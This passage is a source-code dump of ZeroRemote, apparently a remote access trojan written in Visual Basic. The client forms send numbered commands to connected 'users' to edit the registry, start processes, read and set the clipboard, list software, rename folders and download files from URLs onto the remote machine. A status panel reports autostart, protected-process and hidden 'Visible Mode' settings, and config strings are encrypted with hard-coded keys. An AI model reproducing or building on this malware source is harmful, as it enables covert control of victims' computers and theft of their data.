https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/exclamation.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/information.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/information.png
--------------------------------------------------------------------------------
/Client/Client/Client/My Project/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/Client/Client/Client/SeperatorControl.vb:
--------------------------------------------------------------------------------
1 | Public Class Divider
2 | Inherits Control
3 |
4 | Sub New()
5 | SetStyle(ControlStyles.ResizeRedraw, True)
6 | End Sub
7 |
8 | Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs)
9 | MyBase.OnPaint(e)
10 |
11 | ControlPaint.DrawBorder3D(e.Graphics, New Rectangle(0, 0, Me.Width, Me.Height), Border3DStyle.Etched, Border3DSide.Top)
12 | End Sub
13 |
14 | End Class
--------------------------------------------------------------------------------
/Server/Server/My Project/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/Server/Server/My Project/Application.Designer.vb:
--------------------------------------------------------------------------------
1 | '------------------------------------------------------------------------------
2 | '
3 | ' This code was generated by a tool.
4 | ' Runtime Version:4.0.30319.18444
5 | '
6 | ' Changes to this file may cause incorrect behavior and will be lost if
7 | ' the code is regenerated.
8 | '
9 | '------------------------------------------------------------------------------
10 |
11 | Option Strict On
12 | Option Explicit On
13 |
14 |
--------------------------------------------------------------------------------
/Server/Server/My Project/Application.myapp:
--------------------------------------------------------------------------------
1 |
2 |
3 | false
4 | Form1
5 | false
6 | 0
7 | true
8 | 0
9 | true
10 |
--------------------------------------------------------------------------------
/Client/Client/Client/My Project/Application.myapp:
--------------------------------------------------------------------------------
1 |
2 |
3 | true
4 | Main
5 | false
6 | 0
7 | true
8 | 0
9 | true
10 |
--------------------------------------------------------------------------------
/Client/Client/Client/ProcessmanagerModules.vb:
--------------------------------------------------------------------------------
1 | Public Class ProcessmanagerModules
2 | Public Sub ListModules(ByVal DataString As String)
3 | ListBoxModules.Items.Clear()
4 | Try
5 | ListBoxModules.Items.AddRange(DataString.Split(CChar("|||")))
6 | For i As Integer = ListBoxModules.Items.Count - 1 To 0 Step -1
7 | If ListBoxModules.GetItemText(ListBoxModules.Items(i)) = String.Empty Then
8 | ListBoxModules.Items.RemoveAt(i)
9 | End If
10 | Next i
11 | LabelModuleCount.Text = "Loaded " & ListBoxModules.Items.Count.ToString & " modules."
12 | Me.ShowDialog()
13 | Catch
14 | MsgBox("Bad String formatting", MsgBoxStyle.Critical, "Failed")
15 | End Try
16 | End Sub
17 |
18 | End Class
--------------------------------------------------------------------------------
/Client/Client/Client/RegistrymanagerModifyValue.vb:
--------------------------------------------------------------------------------
1 | Public Class RegistrymanagerModifyValue
2 |
3 | Private Sub ButtonModify_Click(sender As Object, e As EventArgs) Handles ButtonModify.Click
4 | Settings.AddLog("Pending", Settings.State.Pending, "Modifying registryvalue...")
5 | Try
6 | Main.WriteData(Registrymanager.LabelCurrentPath.Text & "|||" & TextBoxRegistryvaluename.Text & "|||" & TextBoxRegistryvaluedata.Text)
7 | Main.WriteCommand(Main.SelectedUserID & "|39")
8 | Using dialog As New Waiting()
9 | dialog.ShowDialog()
10 | End Using
11 | Me.Close()
12 | Catch x As Exception
13 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Create Registryvalue")
14 | End Try
15 | End Sub
16 | End Class
--------------------------------------------------------------------------------
/Server/Server/SecureStrings.vb:
--------------------------------------------------------------------------------
1 | Imports System.Text
2 |
3 | Public Class SecureStrings
4 |
5 |
6 | Public Shared Pass As String = "SecureZRSettings"
7 |
8 | ' RC4 Encryption
9 | Public Shared Function Rc4(ByVal message As String) As String
10 | Dim s = Enumerable.Range(0, 256).ToArray
11 | Dim i, j As Integer
12 | For i = 0 To s.Length - 1
13 | j = (j + Asc(Pass(i Mod Pass.Length)) + s(i)) And 255
14 | Dim temp = s(i)
15 | s(i) = s(j)
16 | s(j) = temp
17 | Next
18 | i = 0
19 | j = 0
20 | Dim sb As New StringBuilder(message.Length)
21 | For Each c As Char In message
22 | i = (i + 1) And 255
23 | j = (j + s(i)) And 255
24 | Dim temp = s(i)
25 | s(i) = s(j)
26 | s(j) = temp
27 | sb.Append(Chr(s((s(i) + s(j)) And 255) Xor Asc(c)))
28 | Next
29 | Return sb.ToString
30 | End Function
31 |
32 | End Class
33 |
--------------------------------------------------------------------------------
/Client/Client/Client/RegistrymanagerCreateValue.vb:
--------------------------------------------------------------------------------
1 | Public Class RegistrymanagerCreateValue
2 |
3 | Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
4 | Settings.AddLog("Pending", Settings.State.Pending, "Creating registryvalue...")
5 | If String.IsNullOrWhiteSpace(TextBoxRegistryName.Text) Then
6 | Settings.AddLog("Warning", Settings.State.Warning, "No registryvaluename entered!")
7 | MsgBox("Enter a registryname", MsgBoxStyle.Exclamation)
8 | Exit Sub
9 | Else
10 | Try
11 | Main.WriteData(Registrymanager.LabelCurrentPath.Text & "|||" & TextBoxRegistryName.Text & "|||" & TextBoxRegistryData.Text)
12 | Main.WriteCommand(Main.SelectedUserID & "|37")
13 | Using dialog As New Waiting()
14 | dialog.ShowDialog()
15 | End Using
16 | Me.Close()
17 | Catch x As Exception
18 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Create Registryvalue")
19 | End Try
20 | End If
21 | End Sub
22 |
23 | End Class
--------------------------------------------------------------------------------
/Client/Client/Client/ProcessmanagerStartProcess.vb:
--------------------------------------------------------------------------------
1 | Public Class ProcessmanagerStartProcess
2 |
3 | Private Sub ButtonStartProcess_Click(sender As Object, e As EventArgs) Handles ButtonStartProcess.Click
4 | Settings.AddLog("Pending", Settings.State.Pending, "Starting Process: " & TextBoxProcessname.Text & "...")
5 | If Main.ListViewMain.Items.Count > 0 Then
6 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _
7 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text
8 | Else
9 | MsgBox("No Users online.", MsgBoxStyle.Exclamation)
10 | End If
11 | Try
12 | Main.WriteData(TextBoxProcessname.Text)
13 | Main.WriteCommand(Main.SelectedUserID & "|6")
14 | Using dialog As New Waiting()
15 | dialog.ShowDialog()
16 | End Using
17 | Me.Close()
18 | Catch x As Exception
19 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Processmanager")
20 | End Try
21 | End Sub
22 |
23 | Private Sub ButtonAbort_Click(sender As Object, e As EventArgs) Handles ButtonAbort.Click
24 | Me.Close()
25 | End Sub
26 | End Class
--------------------------------------------------------------------------------
/Client/Client/Client/WindowmanagerTitleChanger.vb:
--------------------------------------------------------------------------------
1 | Public Class WindowmanagerTitleChanger
2 |
3 | Private Sub ButtonChangeTitle_Click(sender As Object, e As EventArgs) Handles ButtonChangeTitle.Click
4 | Settings.AddLog("Pending", Settings.State.Pending, "Changing window title...")
5 | If TextBoxWindowTitle.Text.Contains(";") Then
6 | MsgBox("You can't use ';' in the window title.", MsgBoxStyle.Exclamation)
7 | Exit Sub
8 | End If
9 | If Main.ListViewMain.Items.Count > 0 Then
10 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _
11 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text
12 | Else
13 | MsgBox("No Users online.", MsgBoxStyle.Exclamation)
14 | End If
15 | Try
16 | Main.WriteData(Windowmanager.ListViewWindows.SelectedItems(0).Text & ";;;" & TextBoxWindowTitle.Text)
17 | Main.WriteCommand(Main.SelectedUserID & "|22")
18 | Using dialog As New Waiting()
19 | dialog.ShowDialog()
20 | End Using
21 | Me.Close()
22 | Catch x As Exception
23 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "WindowTitleChanger")
24 | End Try
25 | End Sub
26 |
27 | End Class
--------------------------------------------------------------------------------
/Server/Server/My Project/AssemblyInfo.vb:
--------------------------------------------------------------------------------
1 | Imports System
2 | Imports System.Reflection
3 | Imports System.Runtime.InteropServices
4 |
5 | ' General Information about an assembly is controlled through the following
6 | ' set of attributes. Change these attribute values to modify the information
7 | ' associated with an assembly.
8 |
9 | ' Review the values of the assembly attributes
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 | 'The following GUID is for the ID of the typelib if this project is exposed to COM
21 |
22 |
23 | ' Version information for an assembly consists of the following four values:
24 | '
25 | ' Major Version
26 | ' Minor Version
27 | ' Build Number
28 | ' Revision
29 | '
30 | ' You can specify all the values or you can default the Build and Revision Numbers
31 | ' by using the '*' as shown below:
32 | '
33 |
34 |
35 |
36 |
--------------------------------------------------------------------------------
/Client/Client/Client.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 2013
4 | VisualStudioVersion = 12.0.21005.1
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "Client", "Client\Client.vbproj", "{18E894CD-C666-4DC6-96B5-69368C58EE9F}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x86 = Debug|x86
12 | Release|Any CPU = Release|Any CPU
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {18E894CD-C666-4DC6-96B5-69368C58EE9F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {18E894CD-C666-4DC6-96B5-69368C58EE9F}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {18E894CD-C666-4DC6-96B5-69368C58EE9F}.Debug|x86.ActiveCfg = Debug|x86
19 | {18E894CD-C666-4DC6-96B5-69368C58EE9F}.Debug|x86.Build.0 = Debug|x86
20 | {18E894CD-C666-4DC6-96B5-69368C58EE9F}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {18E894CD-C666-4DC6-96B5-69368C58EE9F}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {18E894CD-C666-4DC6-96B5-69368C58EE9F}.Release|x86.ActiveCfg = Release|x86
23 | {18E894CD-C666-4DC6-96B5-69368C58EE9F}.Release|x86.Build.0 = Release|x86
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | EndGlobal
29 |
--------------------------------------------------------------------------------
/Client/Client/Client/My Project/AssemblyInfo.vb:
--------------------------------------------------------------------------------
1 | Imports System
2 | Imports System.Reflection
3 | Imports System.Runtime.InteropServices
4 |
5 | ' Allgemeine Informationen über eine Assembly werden über die folgenden
6 | ' Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern,
7 | ' die mit einer Assembly verknüpft sind.
8 |
9 | ' Die Werte der Assemblyattribute überprüfen
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 | 'Die folgende GUID bestimmt die ID der Typbibliothek, wenn dieses Projekt für COM verfügbar gemacht wird
21 |
22 |
23 | ' Versionsinformationen für eine Assembly bestehen aus den folgenden vier Werten:
24 | '
25 | ' Hauptversion
26 | ' Nebenversion
27 | ' Buildnummer
28 | ' Revision
29 | '
30 | ' Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern
31 | ' übernehmen, indem Sie "*" eingeben:
32 | '
33 |
34 |
35 |
36 |
--------------------------------------------------------------------------------
/Server/Server.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 2013
4 | VisualStudioVersion = 12.0.21005.1
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "Server", "Server\Server.vbproj", "{13440149-F1A5-4F37-8E52-E3F0278910CE}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x86 = Debug|x86
12 | Release|Any CPU = Release|Any CPU
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {13440149-F1A5-4F37-8E52-E3F0278910CE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {13440149-F1A5-4F37-8E52-E3F0278910CE}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {13440149-F1A5-4F37-8E52-E3F0278910CE}.Debug|x86.ActiveCfg = Debug|x86
19 | {13440149-F1A5-4F37-8E52-E3F0278910CE}.Debug|x86.Build.0 = Debug|x86
20 | {13440149-F1A5-4F37-8E52-E3F0278910CE}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {13440149-F1A5-4F37-8E52-E3F0278910CE}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {13440149-F1A5-4F37-8E52-E3F0278910CE}.Release|x86.ActiveCfg = Release|Any CPU
23 | {13440149-F1A5-4F37-8E52-E3F0278910CE}.Release|x86.Build.0 = Release|Any CPU
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | EndGlobal
29 |
--------------------------------------------------------------------------------
/Client/Client/Client/app.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
--------------------------------------------------------------------------------
/Client/Client/Client/Clipboard.vb:
--------------------------------------------------------------------------------
1 | Public Class Clipboard
2 |
3 | ' Set Remote Clipboard Text
4 | Private Sub ButtonSetText_Click(sender As Object, e As EventArgs) Handles ButtonSetText.Click
5 | If Main.ListViewMain.Items.Count > 0 Then
6 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _
7 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text
8 | Else
9 | MsgBox("No Users online.", MsgBoxStyle.Exclamation)
10 | End If
11 | Try
12 | Main.WriteData(RichTextBoxClipboard.Text)
13 | Main.WriteCommand(Main.SelectedUserID & "|60")
14 | Waiting.ShowDialog()
15 | Catch x As Exception
16 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Clipboard")
17 | End Try
18 | End Sub
19 |
20 | ' Get Remote Clipboard Text
21 | Private Sub ButtonGetText_Click(sender As Object, e As EventArgs) Handles ButtonGetText.Click
22 | If Main.ListViewMain.Items.Count > 0 Then
23 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _
24 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text
25 | Else
26 | MsgBox("No Users online.", MsgBoxStyle.Exclamation)
27 | End If
28 | Try
29 | Main.WriteCommand(Main.SelectedUserID & "|61")
30 | Waiting.ShowDialog()
31 | Catch x As Exception
32 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Clipboard")
33 | End Try
34 | End Sub
35 | End Class
--------------------------------------------------------------------------------
/Client/Client/Client/FilemanagerRenameFolder.vb:
--------------------------------------------------------------------------------
1 | Imports System.IO
2 |
3 | Public Class FilemanagerRenameFolder
4 |
5 | Private Sub ButtonCancelRename_Click(sender As Object, e As EventArgs) Handles ButtonCancelRename.Click
6 | Me.Close()
7 | End Sub
8 |
9 | Private Sub ButtonRename_Click(sender As Object, e As EventArgs) Handles ButtonRename.Click
10 | If Filemanager.RenameFolderLocal = False Then
11 | Dim Folderpath As String = Filemanager.TextBoxRemoteAdressBar.Text
12 | Dim NewName As String = TextBoxRenameFolder.Text
13 | If Main.ListViewMain.Items.Count > 0 Then
14 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _
15 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text
16 | Else
17 | MsgBox("No Users online.", MsgBoxStyle.Exclamation)
18 | End If
19 | Try
20 | Main.WriteData(Folderpath & "|||" & NewName)
21 | Main.WriteCommand(Main.SelectedUserID & "|27")
22 | Waiting.ShowDialog()
23 | Catch x As Exception
24 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Rename File")
25 | End Try
26 |
27 | Else
28 | Try
29 | FileIO.FileSystem.RenameDirectory(Filemanager.TextBoxLocalAdressBar.Text, TextBoxRenameFolder.Text)
30 | Catch ex As Exception
31 | MsgBox("Unable to rename directory.", MsgBoxStyle.Critical)
32 | End Try
33 | End If
34 | End Sub
35 |
36 | End Class
--------------------------------------------------------------------------------
/Client/Client/Client/My Project/Application.Designer.vb:
--------------------------------------------------------------------------------
1 | '------------------------------------------------------------------------------
2 | '
3 | ' This code was generated by a tool.
4 | ' Runtime Version:4.0.30319.18444
5 | '
6 | ' Changes to this file may cause incorrect behavior and will be lost if
7 | ' the code is regenerated.
8 | '
9 | '------------------------------------------------------------------------------
10 |
11 | Option Strict On
12 | Option Explicit On
13 |
14 |
15 | Namespace My
16 |
17 | 'NOTE: This file is auto-generated; do not modify it directly. To make changes,
18 | ' or if you encounter build errors in this file, go to the Project Designer
19 | ' (go to Project Properties or double-click the My Project node in
20 | ' Solution Explorer), and make changes on the Application tab.
21 | '
22 | Partial Friend Class MyApplication
23 |
24 | _
25 | Public Sub New()
26 | MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows)
27 | Me.IsSingleInstance = false
28 | Me.EnableVisualStyles = true
29 | Me.SaveMySettingsOnExit = true
30 | Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses
31 | End Sub
32 |
33 | _
34 | Protected Overrides Sub OnCreateMainForm()
35 | Me.MainForm = Global.Client.Main
36 | End Sub
37 | End Class
38 | End Namespace
39 |
--------------------------------------------------------------------------------
/Client/Client/Client/Win32.vb:
--------------------------------------------------------------------------------
1 | Imports System.Runtime.InteropServices
2 |
3 | Public Class Win32
4 |
5 | ' P/Invoke definitions
6 |
7 | _
8 | Public Shared Function MoveFileEx( _
9 | ByVal fileName As String, _
10 | ByVal newName As String, _
11 | ByVal flags As UInteger) As Boolean
12 | End Function
13 |
14 | _
15 | Public Shared Function OpenToken( _
16 | ByVal handle As IntPtr, _
17 | ByVal access As UInteger, _
18 | ByRef token As IntPtr) As Boolean
19 | End Function
20 |
21 | _
22 | Public Shared Function GetPrivilegeID( _
23 | ByVal machine As String, _
24 | ByVal name As String, _
25 | ByRef luid As Long) As Boolean
26 | End Function
27 |
28 | _
29 | Public Shared Function SetPrivilege( _
30 | ByVal token As IntPtr, _
31 | ByVal release As Boolean, _
32 | ByRef newState As TokenPrivilege, _
33 | ByVal zero1 As UInteger, _
34 | ByVal zero2 As IntPtr, _
35 | ByVal zero3 As IntPtr) As Boolean
36 | End Function
37 |
38 | _
39 | Public Shared Function ShutdownEx( _
40 | ByVal machine As String, _
41 | ByVal message As String, _
42 | ByVal timeout As UInteger, _
43 | ByVal force As Boolean, _
44 | ByVal reboot As Boolean, _
45 | ByVal reason As UInteger) As Boolean
46 | End Function
47 |
48 | _
49 | Public Structure TokenPrivilege
50 | Public Count As UInteger
51 | Public LUID As Long
52 | Public Flags As UInteger
53 | End Structure
54 |
55 | End Class
56 |
--------------------------------------------------------------------------------
/Client/Client/Client/Downloadmanager.vb:
--------------------------------------------------------------------------------
1 | Imports System.Text.RegularExpressions
2 |
3 | Public Class Downloadmanager
4 |
5 |
6 | ' Regex pattern to make sure input is a valid URL
7 | Private Function ValidatewebsiteAddress(ByVal address As String) As Boolean
8 | If Not Regex.IsMatch(address, _
9 | "^((ht|f)tp(s?)\:\/\/|~/|/)?([\w]+:\w+@)?([a-zA-Z]{1}([\w\-]+\.)+([\w]{2,5}))(:[\d]{1,5})?((/?\w+/)+|/?)(\w+\.[\w]{3,4})?((\?\w+=\w+)?(&\w+=\w+)*)?") Then
10 | Return False
11 | Else
12 | Return True
13 | End If
14 | End Function
15 |
16 | Private Sub Downloadmanager_Load(sender As Object, e As EventArgs) Handles MyBase.Load
17 | 'Set default value in the combobox
18 | ComboBoxDownloadLocation.SelectedIndex = 0
19 | End Sub
20 |
21 | Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
22 | If ValidatewebsiteAddress(TextBoxDownloadLink.Text) = False Then
23 | MsgBox("Please enter a valid download link.", MsgBoxStyle.Exclamation, "Invalid link")
24 | Else
25 | Settings.AddLog("Pending", Settings.State.Pending, "Downloading file from url...")
26 | If Main.ListViewMain.Items.Count > 0 Then
27 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _
28 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text
29 | Else
30 | MsgBox("No Users online.", MsgBoxStyle.Exclamation)
31 | End If
32 | Try
33 | Main.WriteData(TextBoxDownloadLink.Text & "|||" & ComboBoxDownloadLocation.SelectedIndex.ToString)
34 | Main.WriteCommand(Main.SelectedUserID & "|65")
35 | Waiting.ShowDialog()
36 | Catch x As Exception
37 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Processmanager")
38 | End Try
39 | End If
40 | End Sub
41 | End Class
--------------------------------------------------------------------------------
/Client/Client/Client/FilemanagerFileinfo.vb:
--------------------------------------------------------------------------------
1 | Public Class FilemanagerFileinfo
2 |
3 | Private Function HexToImage(ByVal Hex As String) As Image
4 | Dim Bytes(Hex.Length \ 2 - 1) As Byte
5 | For I = 0 To Bytes.Length - 1
6 | Bytes(I) = Convert.ToByte(Hex.Substring(I * 2, 2), 16)
7 | Next
8 | Return Image.FromStream(New IO.MemoryStream(Bytes))
9 | End Function
10 |
11 | Public Sub SplitFileInfo()
12 | Dim InfoString() As String
13 | Try
14 | InfoString = Split(CStr(Main.ReadData), "|||")
15 | Catch
16 | MsgBox("Failed formatting Info. Please Retry.", MsgBoxStyle.Exclamation)
17 | Exit Sub
18 | End Try
19 | PictureBox1.Image = HexToImage(InfoString(0))
20 | TextBoxFilename.Text = InfoString(1)
21 | TextBoxFileDescription.Text = InfoString(2)
22 | TextBoxFileType.Text = InfoString(3)
23 | TextBoxLocation.Text = InfoString(4)
24 | LabelCreationDate.Text = InfoString(5)
25 | LabelFilesize.Text = InfoString(6)
26 | If InfoString(7) = "1" Then
27 | CheckBoxHidden.Checked = True
28 | Else
29 | CheckBoxHidden.Checked = False
30 | End If
31 | If InfoString(7) = "1" Then
32 | CheckBoxHidden.Checked = True
33 | Else
34 | CheckBoxHidden.Checked = False
35 | End If
36 | If InfoString(8) = "1" Then
37 | CheckBoxSystem.Checked = True
38 | Else
39 | CheckBoxSystem.Checked = False
40 | End If
41 | If InfoString(9) = "1" Then
42 | CheckBoxReadonly.Checked = True
43 | Else
44 | CheckBoxReadonly.Checked = False
45 | End If
46 | If InfoString(10) = "1" Then
47 | CheckBoxTemporary.Checked = True
48 | Else
49 | CheckBoxTemporary.Checked = False
50 | End If
51 | End Sub
52 | Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
53 | Me.Close()
54 | End Sub
55 | End Class
--------------------------------------------------------------------------------
/Client/Client/Client/ApplicationSettings.vb:
--------------------------------------------------------------------------------
1 | Imports System.Security.Cryptography
2 |
3 | Public Class ApplicationSettings
4 |
5 | Public Const SettingsPass As String = "ZeroRemoteSettings"
6 |
7 | Public Shared Function RijndaelDecrypt(ByVal UDecryptU As String) As String
8 | Dim XoAesProviderX As New RijndaelManaged
9 | Dim XbtCipherX() As Byte
10 | Dim XbtSaltX() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
11 | Dim XoKeyGeneratorX As New Rfc2898DeriveBytes(SettingsPass, XbtSaltX)
12 | XoAesProviderX.Key = XoKeyGeneratorX.GetBytes(XoAesProviderX.Key.Length)
13 | XoAesProviderX.IV = XoKeyGeneratorX.GetBytes(XoAesProviderX.IV.Length)
14 | Dim XmsX As New IO.MemoryStream
15 | Dim XcsX As New CryptoStream(XmsX, XoAesProviderX.CreateDecryptor(), _
16 | CryptoStreamMode.Write)
17 | Try
18 | XbtCipherX = Convert.FromBase64String(UDecryptU)
19 | XcsX.Write(XbtCipherX, 0, XbtCipherX.Length)
20 | XcsX.Close()
21 | UDecryptU = System.Text.Encoding.UTF8.GetString(XmsX.ToArray)
22 | Catch
23 | Return ""
24 | End Try
25 | Return UDecryptU
26 | End Function
27 |
28 | Public Shared Function Rijndaelcrypt(ByVal File As String) As String
29 | Dim oAesProvider As New RijndaelManaged
30 | Dim btClear() As Byte
31 | Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
32 | Dim oKeyGenerator As New Rfc2898DeriveBytes(SettingsPass, btSalt)
33 | oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length)
34 | oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length)
35 | Dim ms As New IO.MemoryStream
36 | Dim cs As New CryptoStream(ms, _
37 | oAesProvider.CreateEncryptor(), _
38 | CryptoStreamMode.Write)
39 | btClear = System.Text.Encoding.UTF8.GetBytes(File)
40 | cs.Write(btClear, 0, btClear.Length)
41 | cs.Close()
42 | File = Convert.ToBase64String(ms.ToArray)
43 | Return File
44 | End Function
45 |
46 |
47 | End Class
--------------------------------------------------------------------------------
/Server/Server/app.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
--------------------------------------------------------------------------------
/Client/Client/Client/Softwaremanager.vb:
--------------------------------------------------------------------------------
1 | Public Class Softwaremanager
2 |
3 | Public Sub SplitSoftwareList(ByVal Data As String)
4 | If Data = Nothing Then
5 | MsgBox("Couldn't recieve data. Please retry.", MsgBoxStyle.Exclamation)
6 | Exit Sub
7 | End If
8 | ListViewSoftware.Items.Clear()
9 | Dim lines() = Data.Split({";;;"}, StringSplitOptions.None)
10 | For Each line In lines
11 | Dim parts() = line.Split({"|||"}, StringSplitOptions.None)
12 | Dim item = ListViewSoftware.Items.Add(parts(0), 0)
13 | For i = 1 To Math.Min(parts.Length - 1, 2)
14 | Dim PIDcheck As String = parts(i)
15 | item.SubItems.Add(parts(i))
16 | Next
17 | Next
18 | For Each item As ListViewItem In ListViewSoftware.Items
19 | If (String.IsNullOrWhiteSpace(item.Text) Or String.IsNullOrEmpty(item.Text)) Then
20 | item.Remove()
21 | End If
22 | Next
23 | LabelAppCount.Text = CType(ListViewSoftware.Items.Count, String)
24 | End Sub
25 |
26 | Private Sub ButtonGetSoftware_Click(sender As Object, e As EventArgs) Handles ButtonGetSoftware.Click
27 | Settings.AddLog("Pending", Settings.State.Pending, "Requesting installed software...")
28 | ListViewSoftware.Items.Clear()
29 | If Main.ListViewMain.Items.Count > 0 Then
30 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _
31 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text
32 | Else
33 | MsgBox("No Users online.", MsgBoxStyle.Exclamation)
34 | End If
35 | Try
36 | Main.WriteCommand(Main.SelectedUserID & "|62")
37 | Waiting.ShowDialog()
38 | Catch x As Exception
39 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Softwaremanager")
40 | End Try
41 | End Sub
42 |
43 |
44 | Private Sub Softwaremanager_FormClosing(sender As Object, e As FormClosingEventArgs) Handles MyBase.FormClosing
45 | ListViewSoftware.Items.Clear()
46 | End Sub
47 |
48 | End Class
--------------------------------------------------------------------------------
/Client/Client/Client/Serverinformation.vb:
--------------------------------------------------------------------------------
1 | Public Class Serverinformation
2 |
3 | ' This feature will grab the settings that have been applied to the created server file.
4 |
5 | Private Sub ButtonRefreshServerInfo_Click(sender As Object, e As EventArgs) Handles ButtonRefreshServerInfo.Click
6 | Settings.AddLog("Pending", Settings.State.Pending, "Refreshing serverinformation...")
7 | If Main.ListViewMain.Items.Count > 0 Then
8 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _
9 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text
10 | Else
11 | MsgBox("No Users online.", MsgBoxStyle.Exclamation)
12 | End If
13 | Try
14 | Main.WriteCommand(Main.SelectedUserID & "|14")
15 | Waiting.ShowDialog()
16 | Catch x As Exception
17 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Serverinformation")
18 | End Try
19 | End Sub
20 |
21 | Public Sub SplitTreeviewData()
22 | TreeViewServerInfo.Nodes.Clear()
23 | Dim Data As String = Main.ReadData()
24 | Dim Parts() As String = Split(Data, "|||")
25 | For i As Integer = 0 To UBound(Parts)
26 | TreeViewServerInfo.Nodes.Add(New TreeNode(Parts(i), i, i))
27 | Next
28 | End Sub
29 |
30 | Private Sub Serverinformation_FormClosing(sender As Object, e As FormClosingEventArgs) Handles MyBase.FormClosing
31 | Try
32 | TreeViewServerInfo.Nodes(0).Text = "Processname: ??"
33 | TreeViewServerInfo.Nodes(1).Text = "Memory Usage: ??"
34 | TreeViewServerInfo.Nodes(2).Text = "Executable Path: ??"
35 | TreeViewServerInfo.Nodes(3).Text = "Autostart at reboot: ??"
36 | TreeViewServerInfo.Nodes(4).Text = "Unique ID: ??"
37 | TreeViewServerInfo.Nodes(5).Text = "Protected Process: ??"
38 | TreeViewServerInfo.Nodes(6).Text = "Privileges: ??"
39 | TreeViewServerInfo.Nodes(7).Text = "Visible Mode: ??"
